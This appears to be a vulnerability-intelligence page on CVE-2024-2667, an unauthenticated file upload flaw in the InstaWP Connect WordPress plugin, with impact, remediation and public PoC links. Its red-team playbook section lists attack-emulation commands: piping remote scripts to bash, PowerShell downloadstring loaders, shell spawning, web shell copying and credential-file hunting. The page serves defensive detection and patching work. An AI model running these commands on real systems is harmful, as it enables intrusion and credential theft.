CVE-2024-2667
Overview
This vulnerability is an arbitrary file upload issue caused by insufficient validation of uploaded files in the InstaWP Connect plugin. The flaw resides in the /wp-json/instawp-connect/v1/config REST API endpoint, which fails to properly restrict or sanitize file inputs. This allows unauthenticated users to submit files without proper verification within the WordPress plugin's staging and migration component.
Vulnerability Description
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file validation in the /wp-json/instawp-connect/v1/config REST API endpoint in all versions up to, and including, 0.1.0.22. This makes it possible for unauthenticated attackers to upload arbitrary files.
Impact
An unauthenticated attacker can exploit this flaw remotely over the network to upload arbitrary files, including malicious scripts, to the target server. This can lead to remote code execution, data compromise, or complete site takeover. The attack requires no user interaction or privileges (AV:N/AC:L/PR:N/UI:N), making it highly exploitable. Successful exploitation compromises confidentiality, integrity, and availability of the affected WordPress installation and its hosted data.
Solution
Users should upgrade InstaWP Connect to a version later than 0.1.0.22 where this vulnerability is patched. Detailed remediation steps and patch information are available via the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/f6aead8d-c136-4952-ad03-86fe0f144dea. Additionally, reviewing the plugin's change logs on the WordPress plugin repository confirms the fix in subsequent releases. No official workaround is documented; updating is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the InstaWP Connect plugin for WordPress stems from inadequate file validation within the REST API endpoint responsible for configuration management. This flaw allows unauthenticated users to upload arbitrary files to the server hosting the WordPress instance. The lack of stringent checks on file types and content enables attackers to exploit this weakness, potentially leading to the execution of malicious scripts or the introduction of harmful payloads. The vulnerability affects all versions of the plugin up to and including 0.1.0.22, making it a critical concern for any WordPress site utilizing this plugin.
Attack vectors associated with this vulnerability are particularly concerning due to the ease with which an attacker can exploit it. An unauthenticated attacker can send crafted requests to the vulnerable REST API endpoint, bypassing any authentication mechanisms. Once the arbitrary file is uploaded, the attacker can execute it if the server is configured to allow execution of uploaded files. This could lead to a range of malicious activities, including data exfiltration, website defacement, or the establishment of a backdoor for persistent access. Additionally, the exploitation of this vulnerability could facilitate further attacks on the underlying server or other connected systems, amplifying the potential damage.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on WordPress for their online presence. The potential for unauthorized file uploads poses a serious risk to data integrity and confidentiality. An attacker gaining access to sensitive files could lead to data breaches, resulting in financial losses, legal repercussions, and damage to the organization's reputation. Furthermore, the exploitation of this vulnerability could disrupt business operations, leading to downtime and loss of customer trust. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that organizations must prioritize its remediation.
To effectively detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to ensure that the InstaWP Connect plugin is updated to the latest version, as this may contain patches addressing the vulnerability. Regularly reviewing and updating all plugins and themes is a best practice for maintaining WordPress security. Additionally, employing a web application firewall (WAF) can help filter out malicious requests and prevent exploitation attempts. Monitoring server logs for unusual activity, such as unexpected file uploads or changes, can also aid in early detection of potential attacks. Finally, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the arbitrary file upload vulnerability in the InstaWP Connect plugin represents a serious threat to WordPress installations. The ease of exploitation and the potential for significant business impact necessitate immediate attention from affected organizations. By implementing robust detection and mitigation strategies, businesses can safeguard their systems and protect against the risks associated with this vulnerability. The proactive management of such vulnerabilities is essential in maintaining the overall security posture of any organization operating in the digital landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Instawp | Instawp Connect | All |
cpe:2.3:a:instawp:instawp_connect:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Puvipavan/CVE-2024-2667
This is POC for CVE-2024-2667 (InstaWP Connect – 1-click WP Staging & Migration <= 0.1.0.22 - Unauthenticated Arbitrary ...
|
Puvipavan | 2 | 0 | 2024-04-28 | View |
|
PoC
|
- | 0 | 0 | - | View |
|
Nxploited/CVE-2024-2667-Poc
|
Nxploited | 0 | 0 | 2025-01-05 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-2667 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/f6aead8d-c136-4952-ad03-86fe0f144dea?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3061039%40instawp-connect&new=3061039%40instawp-connect&sfp_email=&sfph_mail= |